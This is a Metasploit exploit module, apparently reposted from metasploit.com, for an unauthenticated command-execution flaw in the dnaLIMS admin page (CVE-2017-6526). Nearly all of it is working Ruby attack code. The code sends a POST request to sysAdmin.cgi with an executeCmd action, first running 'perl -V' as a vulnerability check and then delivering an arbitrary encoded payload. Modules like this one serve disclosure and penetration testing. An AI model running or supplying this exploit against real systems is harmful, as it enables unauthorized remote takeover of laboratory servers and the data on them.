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dnaLIMS Admin Module Command Execution Exploit
来源:metasploit.com 作者:h00die 发布时间:2017-04-05  
##
# This module requires Metasploit: http://metasploit.com/download
##
  
require 'msf/core'
  
class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  
  include Msf::Exploit::Remote::HttpClient
  
  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'dnaLIMS Admin Module Command Execution',
      'Description'    => %q{
          This module utilizes an administrative module which allows for
       command execution.  This page is completely unprotected from any
       authentication when given a POST request.
      },
      'Author'         =>
        [
          'h00die <mike@shorebreaksecurity.com>'# Discovery, PoC
          'flakey_biscuit <nicholas@shorebreaksecurity.com>' # Discovery, PoC
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['CVE', '2017-6526'],
          ['US-CERT-VU', '929263'],
        ],
      'Platform'       => %w( linux unix ),
      'Arch'           => ARCH_CMD,
      'Payload'        =>
        {
          'Space'       => 1024,
          'DisableNops' => true,
          'Compat'      =>
            {
              'RequiredCmd' => 'perl' # software written in perl, and guaranteed to be there
            }
        },
      'Targets'        =>
        [
          [ 'Automatic Target', { }]
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Mar 8 2017'
      ))
  
    register_options(
      [
        OptString.new('TARGETURI', [true, 'The base path to dnaLIMS', '/cgi-bin/dna/'])
      ], self.class
    )
  end
  
  def check
    begin
      res = send_request_cgi(
        'uri'       => normalize_uri(target_uri.path, 'sysAdmin.cgi'),
        'method'    => 'POST',
        'vars_post'  => {
          'investigator' => '',
          'username' => '',
          'navUserName' => '',
          'Action' => 'executeCmd',
          'executeCmdData' => 'perl -V'
        }
      )
      if res && res.body
        if /Summary of/ =~ res.body
          Exploit::CheckCode::Vulnerable
        else
          Exploit::CheckCode::Safe
        end
      else
        Exploit::CheckCode::Safe
      end
    rescue ::Rex::ConnectionError
      fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
    end
  end
  
  def exploit
    begin
      vprint_status('Sending Exploit')
      res = send_request_cgi(
        'uri'       => normalize_uri(target_uri.path, 'sysAdmin.cgi'),
        'method'    => 'POST',
        'vars_post'  => {
          'investigator' => '',
          'username' => '',
          'navUserName' => '',
          'Action' => 'executeCmd',
          'executeCmdData' => payload.encoded,
        }
      )
      vprint_good(res.body)
    rescue ::Rex::ConnectionError
      fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
    end
  end
end

 
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